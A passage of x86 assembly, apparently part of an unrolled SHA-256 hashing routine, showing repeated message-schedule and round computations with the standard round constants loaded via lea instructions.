add eax,esi
mov esi,DWORD [56+esp]
mov ebx,ecx
ror ecx,11
mov edi,esi
ror esi,2
xor ecx,ebx
shr ebx,3
ror ecx,7
xor esi,edi
xor ebx,ecx
ror esi,17
add ebx,DWORD [64+esp]
shr edi,10
add ebx,DWORD [36+esp]
mov ecx,edx
xor edi,esi
mov esi,DWORD [20+esp]
ror edx,14
add ebx,edi
mov edi,DWORD [24+esp]
xor edx,ecx
mov DWORD [64+esp],ebx
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD [16+esp],ecx
xor edx,ecx
add ebx,DWORD [28+esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD [4+esp]
xor ecx,eax
mov DWORD [esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,[2554220882+edx*1+ebx]
xor ecx,esi
xor ebp,edi
mov esi,DWORD [72+esp]
ror ecx,2
add ebp,edx
add edx,DWORD [12+esp]
add ebp,ecx
mov ecx,DWORD [60+esp]
mov ebx,esi
ror esi,11
mov edi,ecx
ror ecx,2
xor esi,ebx
shr ebx,3
ror esi,7
xor ecx,edi
xor ebx,esi
ror ecx,17
add ebx,DWORD [68+esp]
shr edi,10
add ebx,DWORD [40+esp]
mov esi,edx
xor edi,ecx
mov ecx,DWORD [16+esp]
ror edx,14
add ebx,edi
mov edi,DWORD [20+esp]
xor edx,esi
mov DWORD [68+esp],ebx
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD [12+esp],esi
xor edx,esi
add ebx,DWORD [24+esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD [esp]
xor esi,ebp
mov DWORD [28+esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,[2821834349+edx*1+ebx]
xor esi,ecx
xor eax,edi
mov ecx,DWORD [76+esp]
ror esi,2
add eax,edx
add edx,DWORD [8+esp]
add eax,esi
mov esi,DWORD [64+esp]
mov ebx,ecx
ror ecx,11
mov edi,esi
ror esi,2
xor ecx,ebx
shr ebx,3
ror ecx,7
xor esi,edi
xor ebx,ecx
ror esi,17
add ebx,DWORD [72+esp]
shr edi,10
add ebx,DWORD [44+esp]
mov ecx,edx
xor edi,esi
mov esi,DWORD [12+esp]
ror edx,14
add ebx,edi
mov edi,DWORD [16+esp]
xor edx,ecx
mov DWORD [72+esp],ebx
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD [8+esp],ecx
xor edx,ecx
add ebx,DWORD [20+esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD [28+esp]
xor ecx,eax
mov DWORD [24+esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,[2952996808+edx*1+ebx]
xor ecx,esi
xor ebp,edi
mov esi,DWORD [80+esp]
ror ecx,2
add ebp,edx
add edx,DWORD [4+esp]
add ebp,ecx
mov ecx,DWORD [68+esp]
mov ebx,esi
ror esi,11
mov edi,ecx
ror ecx,2
xor esi,ebx
shr ebx,3
ror esi,7
xor ecx,edi
xor ebx,esi
ror ecx,17
add ebx,DWORD [76+esp]
shr edi,10
add ebx,DWORD [48+esp]
mov esi,edx
xor edi,ecx
mov ecx,DWORD [8+esp]
ror edx,14
add ebx,edi
mov edi,DWORD [12+esp]
xor edx,esi
mov DWORD [76+esp],ebx
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD [4+esp],esi
xor edx,esi
add ebx,DWORD [16+esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD [24+esp]
xor esi,ebp
mov DWORD [20+esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,[3210313671+edx*1+ebx]
xor esi,ecx
xor eax,edi
mov ecx,DWORD [84+esp]
ror esi,2
add eax,edx
add edx,DWORD [esp]
add eax,esi
mov esi,DWORD [72+esp]
mov ebx,ecx
ror ecx,11
mov edi,esi
ror esi,2
xor ecx,ebx
shr ebx,3
ror ecx,7
xor esi,edi
xor ebx,ecx
ror esi,17
add ebx,DWORD [80+esp]
shr edi,10
add ebx,DWORD [52+esp]
mov ecx,edx
xor edi,esi
mov esi,DWORD [4+esp]
ror edx,14
add ebx,edi
mov edi,DWORD [8+esp]
xor edx,ecx
mov DWORD [80+esp],ebx
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD [esp],ecx
xor edx,ecx
add ebx,DWORD [12+esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD [20+esp]
xor ecx,eax
mov DWORD [16+esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,[3336571891+edx*1+ebx]
xor ecx,esi
xor ebp,edi
mov esi,DWORD [88+esp]
ror ecx,2
add ebp,edx
add edx,DWORD [28+esp]
add ebp,ecx
mov ecx,DWORD [76+esp]
mov ebx,esi
ror esi,11
mov edi,ecx
ror ecx,2
xor esi,ebx
shr ebx,3
ror esi,7
xor ecx,edi
xor ebx,esi
ror ecx,17
add ebx,DWORD [84+esp]
shr edi,10
add ebx,DWORD [56+esp]
mov esi,edx
xor edi,ecx
mov ecx,DWORD [esp]
ror edx,14
add ebx,edi
mov edi,DWORD [4+esp]
xor edx,esi
mov DWORD [84+esp],ebx
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD [28+esp],esi
xor edx,esi
add ebx,DWORD [8+esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD [16+esp]
xor esi,ebp
mov DWORD [12+esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,[3584528711+edx*1+ebx]
xor esi,ecx
xor eax,edi
mov ecx,DWORD [92+esp]
ror esi,2
add eax,edx
add edx,DWORD [24+esp]
add eax,esi
mov esi,DWORD [80+esp]
mov ebx,ecx
ror ecx,11
mov edi,esi
ror esi,2
xor ecx,ebx
shr ebx,3
ror ecx,7
xor esi,edi
xor ebx,ecx
ror esi,17
add ebx,DWORD [88+esp]
shr edi,10
add ebx,DWORD [60+esp]
mov ecx,edx
xor edi,esi
mov esi,DWORD [28+esp]
ror edx,14
add ebx,edi
mov edi,DWORD [esp]
xor edx,ecx
mov DWORD [88+esp],ebx
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD [24+esp],ecx
xor edx,ecx
add ebx,DWORD [4+esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD [12+esp]
xor ecx,eax
mov DWORD [8+esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,[113926993+edx*1+ebx]
xor ecx,esi
xor ebp,edi
mov esi,DWORD [32+esp]
ror ecx,2
add ebp,edx
add edx,DWORD [20+esp]
add ebp,ecx
mov ecx,DWORD [84+esp]
mov ebx,esi
ror esi,11
mov edi,ecx
ror ecx,2
xor esi,ebx
shr ebx,3
ror esi,7
xor ecx,edi
xor ebx,esi
ror ecx,17
add ebx,DWORD [92+esp]
shr edi,10
add ebx,DWORD [64+esp]
mov esi,edx
xor edi,ecx
mov ecx,DWORD [24+esp]
ror edx,14
add ebx,edi
mov edi,DWORD [28+esp]
xor edx,esi
mov DWORD [92+esp],ebx
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD [20+esp],esi
xor edx,esi
add ebx,DWORD [esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD [8+esp]
xor esi,ebp
mov DWORD [4+esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,[338241895+edx*1+ebx]
xor esi,ecx
xor eax,edi
mov ecx,DWORD [36+esp]
ror esi,2
add eax,edx
add edx,DWORD [16+esp]
add eax,esi
mov esi,DWORD [88+esp]
mov ebx,ecx
ror ecx,11
mov edi,esi
ror esi,2
xor ecx,ebx
shr ebx,3
ror ecx,7
xor esi,edi
xor ebx,ecx
ror esi,17
add ebx,DWORD [32+esp]
shr edi,10
add ebx,DWORD [68+esp]
mov ecx,edx
xor edi,esi
mov esi,DWORD [20+esp]
ror edx,14
add ebx,edi
mov edi,DWORD [24+esp]
xor edx,ecx
mov DWORD [32+esp],ebx
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD [16+esp],ecx
xor edx,ecx
add ebx,DWORD [28+esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD [4+esp]
xor ecx,eax
mov DWORD [esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,[666307205+edx*1+ebx]
xor ecx,esi
xor ebp,edi
mov esi,DWORD [40+esp]
ror ecx,2
add ebp,edx
add edx,DWORD [12+esp]
add ebp,ecx
mov ecx,DWORD [92+esp]
mov ebx,esi
ror esi,11
mov edi,ecx
ror ecx,2
xor esi,ebx
shr ebx,3
ror esi,7
xor ecx,edi
xor ebx,esi
ror ecx,17
add ebx,DWORD [36+esp]
shr edi,10
add ebx,DWORD [72+esp]
mov esi,edx
xor edi,ecx
mov ecx,DWORD [16+esp]
ror edx,14
add ebx,edi
mov edi,DWORD [20+esp]
xor edx,esi
mov DWORD [36+esp],ebx
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD [12+esp],esi
xor edx,esi
add ebx,DWORD [24+esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD [esp]
xor esi,ebp
mov DWORD [28+esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,[773529912+edx*1+ebx]
xor esi,ecx
xor eax,edi
mov ecx,DWORD [44+esp]
ror esi,2
add eax,edx
add edx,DWORD [8+esp]
add eax,esi
mov esi,DWORD [32+esp]
mov ebx,ecx
ror ecx,11
mov edi,esi
ror esi,2
xor ecx,ebx
shr ebx,3
ror ecx,7
xor esi,edi
xor ebx,ecx
ror esi,17
add ebx,DWORD [40+esp]
shr edi,10
add ebx,DWORD [76+esp]
mov ecx,edx
xor edi,esi
mov esi,DWORD [12+esp]
ror edx,14
add ebx,edi
mov edi,DWORD [16+esp]
xor edx,ecx
mov DWORD [40+esp],ebx
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD [8+esp],ecx
xor edx,ecx
add ebx,DWORD [20+esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD [28+esp]
xor ecx,eax
mov DWORD [24+esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,[1294757372+edx*1+ebx]
xor ecx,esi
xor ebp,edi
mov esi,DWORD [48+esp]
ror ecx,2
add ebp,edx
add edx,DWORD [4+esp]
add ebp,ecx
mov ecx,DWORD [36+esp]
mov ebx,esi
ror esi,11
mov edi,ecx
ror ecx,2
xor esi,ebx
shr ebx,3
ror esi,7
xor ecx,edi
xor ebx,esi
ror ecx,17
add ebx,DWORD [44+esp]
shr edi,10
add ebx,DWORD [80+esp]
mov esi,edx
xor edi,ecx
mov ecx,DWORD [8+esp]
ror edx,14
add ebx,edi
mov edi,DWORD [12+esp]
xor edx,esi
mov DWORD [44+esp],ebx
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD [4+esp],esi
xor edx,esi
add ebx,DWORD [16+esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD [24+esp]
xor esi,ebp
mov DWORD [20+esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,[1396182291+edx*1+ebx]
xor esi,ecx
xor eax,edi
mov ecx,DWORD [52+esp]
ror esi,2
add eax,edx
add edx,DWORD [esp]
add eax,esi
mov esi,DWORD [40+esp]
mov ebx,ecx
ror ecx,11
mov edi,esi
ror esi,2
xor ecx,ebx
shr ebx,3
ror ecx,7
xor esi,edi
xor ebx,ecx
ror esi,17
add ebx,DWORD [48+esp]
shr edi,10
add ebx,DWORD [84+esp]
mov ecx,edx
xor edi,esi
mov esi,DWORD [4+esp]
ror edx,14
add ebx,edi
mov edi,DWORD [8+esp]
xor edx,ecx
mov DWORD [48+esp],ebx
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD [esp],ecx
xor edx,ecx
add ebx,DWORD [12+esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD [20+esp]
xor ecx,eax
mov DWORD [16+esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,[1695183700+edx*1+ebx]
xor ecx,esi
xor ebp,edi
mov esi,DWORD [56+esp]
ror ecx,2
add ebp,edx
add edx,DWORD [28+esp]
add ebp,ecx
mov ecx,DWORD [44+esp]
mov ebx,esi
ror esi,11
mov edi,ecx
ror ecx,2
xor esi,ebx
shr ebx,3
ror esi,7
xor ecx,edi
xor ebx,esi
ror ecx,17
add ebx,DWORD [52+esp]
shr edi,10
add ebx,DWORD [88+esp]
mov esi,edx
xor edi,ecx
mov ecx,DWORD [esp]
ror edx,14
add ebx,edi
mov edi,DWORD [4+esp]
xor edx,esi
mov DWORD [52+esp],ebx
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD [28+esp],esi
xor edx,esi
add ebx,DWORD [8+esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD [16+esp]
xor esi,ebp
mov DWORD [12+esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,[1986661051+edx*1+ebx]
xor esi,ecx
xor eax,edi
mov ecx,DWORD [60+esp]
ror esi,2
add eax,edx
add edx,DWORD [24+esp]
add eax,esi
mov esi,DWORD [48+esp]
mov ebx,ecx
ror ecx,11
mov edi,esi
ror esi,2
xor ecx,ebx
shr ebx,3
ror ecx,7
xor esi,edi
xor ebx,ecx
ror esi,17
add ebx,DWORD [56+esp]
shr edi,10
add ebx,DWORD [92+esp]
mov ecx,edx
xor edi,esi
mov esi,DWORD [28+esp]
ror edx,14
add ebx,edi
mov edi,DWORD [esp]
xor edx,ecx
mov DWORD [56+esp],ebx
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD [24+esp],ecx
xor edx,ecx
add ebx,DWORD [4+esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD [12+esp]
xor ecx,eax
mov DWORD [8+esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,[2177026350+edx*1+ebx]
xor ecx,esi
xor ebp,edi
mov esi,DWORD [64+esp]
ror ecx,2
add ebp,edx
add edx,DWORD [20+esp]
add ebp,ecx
mov ecx,DWORD [52+esp]
mov ebx,esi
ror esi,11
mov edi,ecx
ror ecx,2
xor esi,ebx
shr ebx,3
ror esi,7
xor ecx,edi
xor ebx,esi
ror ecx,17
add ebx,DWORD [60+esp]
shr edi,10
add ebx,DWORD [32+esp]
mov esi,edx
xor edi,ecx
mov ecx,DWORD [24+esp]
ror edx,14
add ebx,edi
mov edi,DWORD [28+esp]
xor edx,esi
mov DWORD [60+esp],ebx
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD [20+esp],esi
xor edx,esi
add ebx,DWORD [esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD [8+esp]
xor esi,ebp
mov DWORD [4+esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,[2456956037+edx*1+ebx]
xor esi,ecx
xor eax,edi
mov ecx,DWORD [68+esp]
ror esi,2
add eax,edx
add edx,DWORD [16+esp]
add eax,esi
mov esi,DWORD [56+esp]
mov ebx,ecx
ror ecx,11
mov edi,esi
ror esi,2
xor ecx,ebx
shr ebx,3
ror ecx,7
xor esi,edi
xor ebx,ecx
ror esi,17
add ebx,DWORD [64+esp]
shr edi,10
add ebx,DWORD [36+esp]
mov ecx,edx
xor edi,esi
mov esi,DWORD [20+esp]
ror edx,14
add ebx,edi
mov edi,DWORD [24+esp]
xor edx,ecx
mov DWORD [64+esp],ebx
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD [16+esp],ecx
xor edx,ecx
add ebx,DWORD [28+esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD [4+esp]
xor ecx,eax
mov DWORD [esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,[2730485921+edx*1+ebx]
xor ecx,esi
xor ebp,edi
mov esi,DWORD [72+esp]
ror ecx,2
add ebp,edx
add edx,DWORD [12+esp]
add ebp,ecx
mov ecx,DWORD [60+esp]
mov ebx,esi
ror esi,11
mov edi,ecx
ror ecx,2
xor esi,ebx
shr ebx,3
ror esi,7
xor ecx,edi
xor ebx,esi
ror ecx,17
add ebx,DWORD [68+esp]
shr edi,10
add ebx,DWORD [40+esp]
mov esi,edx
xor edi,ecx
mov ecx,DWORD [16+esp]
ror edx,14
add ebx,edi
mov edi,DWORD [20+esp]
xor edx,esi
mov DWORD [68+esp],ebx
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD [12+esp],esi
xor edx,esi
add ebx,DWORD [24+esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD [esp]
xor esi,ebp
mov DWORD [28+esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,[2820302411+edx*1+ebx]
xor esi,ecx
xor eax,edi
mov ecx,DWORD [76+esp]
ror esi,2
add eax,edx
add edx,DWORD [8+esp]
add eax,esi
mov esi,DWORD [64+esp]
mov ebx,ecx
ror ecx,11
mov edi,esi
ror esi,2
xor ecx,ebx
shr ebx,3
ror ecx,7
xor esi,edi
xor ebx,ecx
ror esi,17
add ebx,DWORD [72+esp]
shr edi,10
add ebx,DWORD [44+esp]
mov ecx,edx
xor edi,esi
mov esi,DWORD [12+esp]
ror edx,14
add ebx,edi
mov edi,DWORD [16+esp]
xor edx,ecx
mov DWORD [72+esp],ebx
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD [8+esp],ecx
xor edx,ecx
add ebx,DWORD [20+esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD [28+esp]
xor ecx,eax
mov DWORD [24+esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,[3259730800+edx*1+ebx]
xor ecx,esi
xor ebp,edi
mov esi,DWORD [80+esp]
ror ecx,2
add ebp,edx
add edx,DWORD [4+esp]
add ebp,ecx
mov ecx,DWORD [68+esp]
mov ebx,esi
ror esi,11
mov edi,ecx
ror ecx,2
xor esi,ebx
shr ebx,3
ror esi,7
xor ecx,edi
xor ebx,esi
ror ecx,17
add ebx,DWORD [76+esp]
shr edi,10
add ebx,DWORD [48+esp]
mov esi,edx
xor edi,ecx
mov ecx,DWORD [8+esp]
ror edx,14
add ebx,edi
mov edi,DWORD [12+esp]
xor edx,esi
mov DWORD [76+esp],ebx
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD [4+esp],esi
xor edx,esi
add ebx,DWORD [16+esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD [24+esp]
xor esi,ebp
mov DWORD [20+esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,[3345764771+edx*1+ebx]
xor esi,ecx
xor eax,edi
mov ecx,DWORD [84+esp]
ror esi,2
add eax,edx
add edx,DWORD [esp]
add eax,esi
mov esi,DWORD [72+esp]
mov ebx,ecx
ror ecx,11
mov edi,esi
ror esi,2
xor ecx,ebx
shr ebx,3
ror ecx,7
xor esi,edi
xor ebx,ecx
ror esi,17
add ebx,DWORD [80+esp]
shr edi,10
add ebx,DWORD [52+esp]
mov ecx,edx
xor edi,esi
mov esi,DWORD [4+esp]
ror edx,14
add ebx,edi
mov edi,DWORD [8+esp]
xor edx,ecx
mov DWORD [80+esp],ebx
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD [esp],ecx
xor edx,ecx
add ebx,DWORD [12+esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD [20+esp]
xor ecx,eax
mov DWORD [16+esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,[3516065817+edx*1+ebx]
xor ecx,esi
xor ebp,edi
mov esi,DWORD [88+esp]
ror ecx,2
add ebp,edx
add edx,DWORD [28+esp]
add ebp,ecx
mov ecx,DWORD [76+esp]
mov ebx,esi
ror esi,11
mov edi,ecx
ror ecx,2
xor esi,ebx
shr ebx,3
ror esi,7
xor ecx,edi
xor ebx,esi
ror ecx,17
add ebx,DWORD [84+esp]
shr edi,10
add ebx,DWORD [56+esp]
mov esi,edx
xor edi,ecx
mov ecx,DWORD [esp]
ror edx,14
add ebx,edi
mov edi,DWORD [4+esp]
xor edx,esi
mov DWORD [84+esp],ebx
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD [28+esp],esi
xor edx,esi
add ebx,DWORD [8+esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD [16+esp]
xor esi,ebp
mov DWORD [12+esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,[3600352804+edx*1+ebx]
xor esi,ecx
xor eax,edi
mov ecx,DWORD [92+esp]
ror esi,2
add eax,edx
add edx,DWORD [24+esp]
add eax,esi
mov esi,DWORD [80+esp]
mov ebx,ecx
ror ecx,11
mov edi,esi
ror esi,2
xor ecx,ebx
shr ebx,3
ror ecx,7
xor esi,edi
xor ebx,ecx
ror esi,17
add ebx,DWORD [88+esp]
shr edi,10
add ebx,DWORD [60+esp]
mov ecx,edx
xor edi,esi
mov esi,DWORD [28+esp]
ror edx,14
add ebx,edi
mov edi,DWORD [esp]
xor edx,ecx
mov DWORD [88+esp],ebx
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD [24+esp],ecx
xor edx,ecx
add ebx,DWORD [4+esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD [12+esp]
xor ecx,eax
mov DWORD [8+esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,[4094571909+edx*1+ebx]
xor ecx,esi
xor ebp,edi
mov esi,DWORD [32+esp]
ror ecx,2
add ebp,edx
add edx,DWORD [20+esp]
add ebp,ecx
mov ecx,DWORD [84+esp]
mov ebx,esi
ror esi,11
mov edi,ecx
ror ecx,2
xor esi,ebx
shr ebx,3
ror esi,7
xor ecx,edi
xor ebx,esi
ror ecx,17
add ebx,DWORD [92+esp]
shr edi,10
add ebx,DWORD [64+esp]
mov esi,edx
xor edi,ecx
mov ecx,DWORD [24+esp]
ror edx,14
add ebx,edi
mov edi,DWORD [28+esp]
xor edx,esi
mov DWORD [92+esp],ebx
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD [20+esp],esi
xor edx,esi
add ebx,DWORD [esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD [8+esp]
xor esi,ebp
mov DWORD [4+esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,[275423344+edx*1+ebx]
xor esi,ecx
xor eax,edi
mov ecx,DWORD [36+esp]
ror esi,2
add eax,edx
add edx,DWORD [16+esp]
add eax,esi
mov esi,DWORD [88+esp]
mov ebx,ecx
ror ecx,11
mov edi,esi
ror esi,2
xor ecx,ebx
shr ebx,3
ror ecx,7
xor esi,edi
xor ebx,ecx
ror esi,17
add ebx,DWORD [32+esp]
shr edi,10
add ebx,DWORD [68+esp]
mov ecx,edx
xor edi,esi
mov esi,DWORD [20+esp]
ror edx,14
add ebx,edi
mov edi,DWORD [24+esp]
xor edx,ecx
mov DWORD [32+esp],ebx
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD [16+esp],ecx
xor edx,ecx
add ebx,DWORD [28+esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD [4+esp]
xor ecx,eax
mov DWORD [esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,[430227734+edx*1+ebx]
xor ecx,esi
xor ebp,edi
mov esi,DWORD [40+esp]
ror ecx,2
add ebp,edx
add edx,DWORD [12+esp]
add ebp,ecx
mov ecx,DWORD [92+esp]
mov ebx,esi
ror esi,11
mov edi,ecx
ror ecx,2
xor esi,ebx
shr ebx,3
ror esi,7
xor ecx,edi
xor ebx,esi
ror ecx,17
add ebx,DWORD [36+esp]
shr edi,10
add ebx,DWORD [72+esp]
mov esi,edx
xor edi,ecx
mov ecx,DWORD [16+esp]
ror edx,14
add ebx,edi
mov edi,DWORD [20+esp]
xor edx,esi
mov DWORD [36+esp],ebx
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD [12+esp],esi
xor edx,esi
add ebx,DWORD [24+esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD [esp]
xor esi,ebp
mov DWORD [28+esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,[506948616+edx*1+ebx]
xor esi,ecx
xor eax,edi
mov ecx,DWORD [44+esp]
ror esi,2
add eax,edx
add edx,DWORD [8+esp]
add eax,esi
mov esi,DWORD [32+esp]
mov ebx,ecx
ror ecx,11
mov edi,esi
ror esi,2
xor ecx,ebx
shr ebx,3
ror ecx,7
xor esi,edi
xor ebx,ecx
ror esi,17
add ebx,DWORD [40+esp]
shr edi,10
add ebx,DWORD [76+esp]
mov ecx,edx
xor edi,esi
mov esi,DWORD [12+esp]
ror edx,14
add ebx,edi
mov edi,DWORD [16+esp]
xor edx,ecx
mov DWORD [40+esp],ebx
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD [8+esp],ecx
xor edx,ecx
add ebx,DWORD [20+esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD [28+esp]
xor ecx,eax
mov DWORD [24+esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,[659060556+edx*1+ebx]
xor ecx,esi
xor ebp,edi
mov esi,DWORD [48+esp]
ror ecx,2
add ebp,edx
add edx,DWORD [4+esp]
add ebp,ecx
mov ecx,DWORD [36+esp]
mov ebx,esi
ror esi,11
mov edi,ecx
ror ecx,2
xor esi,ebx
shr ebx,3
ror esi,7
xor ecx,edi
xor ebx,esi
ror ecx,17
add ebx,DWORD [44+esp]
shr edi,10
add ebx,DWORD [80+esp]
mov esi,edx
xor edi,ecx
mov ecx,DWORD [8+esp]
ror edx,14
add ebx,edi
mov edi,DWORD [12+esp]
xor edx,esi
mov DWORD [44+esp],ebx
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD [4+esp],esi
xor edx,esi
add ebx,DWORD [16+esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD [24+esp]
xor esi,ebp
mov DWORD [20+esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,[883997877+edx*1+ebx]
xor esi,ecx
xor eax,edi
mov ecx,DWORD [52+esp]
ror esi,2
add eax,edx
add edx,DWORD [esp]
add eax,esi
mov esi,DWORD [40+esp]
mov ebx,ecx
ror ecx,11
mov edi,esi
ror esi,2
xor ecx,ebx
shr ebx,3
ror ecx,7
xor esi,edi
xor ebx,ecx
ror esi,17
add ebx,DWORD [48+esp]
shr edi,10
add ebx,DWORD [84+esp]
mov ecx,edx
xor edi,esi
mov esi,DWORD [4+esp]
ror edx,14
add ebx,edi
mov edi,DWORD [8+esp]
xor edx,ecx
mov DWORD [48+esp],ebx
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD [esp],ecx
xor edx,ecx
add ebx,DWORD [12+esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD [20+esp]
xor ecx,eax
mov DWORD [16+esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,[958139571+edx*1+ebx]
xor ecx,esi
xor ebp,edi
mov esi,DWORD [56+esp]
ror ecx,2
add ebp,edx
add edx,DWORD [28+esp]
add ebp,ecx
mov ecx,DWORD [44+esp]
mov ebx,esi
ror esi,11
mov edi,ecx
ror ecx,2
xor esi,ebx
shr ebx,3
ror esi,7
xor ecx,edi
xor ebx,esi
ror ecx,17
add ebx,DWORD [52+esp]
shr edi,10
add ebx,DWORD [88+esp]
mov esi,edx
xor edi,ecx
mov ecx,DWORD [esp]
ror edx,14
add ebx,edi
mov edi,DWORD [4+esp]
xor edx,esi
mov DWORD [52+esp],ebx
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD [28+esp],esi
xor edx,esi
add ebx,DWORD [8+esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD [16+esp]
xor esi,ebp
mov DWORD [12+esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,[1322822218+edx*1+ebx]
xor esi,ecx
xor eax,edi
mov ecx,DWORD [60+esp]
ror esi,2
add eax,edx
add edx,DWORD [24+esp]
add eax,esi
mov esi,DWORD [48+esp]
mov ebx,ecx
ror ecx,11
mov edi,esi
ror esi,2
xor ecx,ebx
shr ebx,3
ror ecx,7
xor esi,edi
xor ebx,ecx
ror esi,17
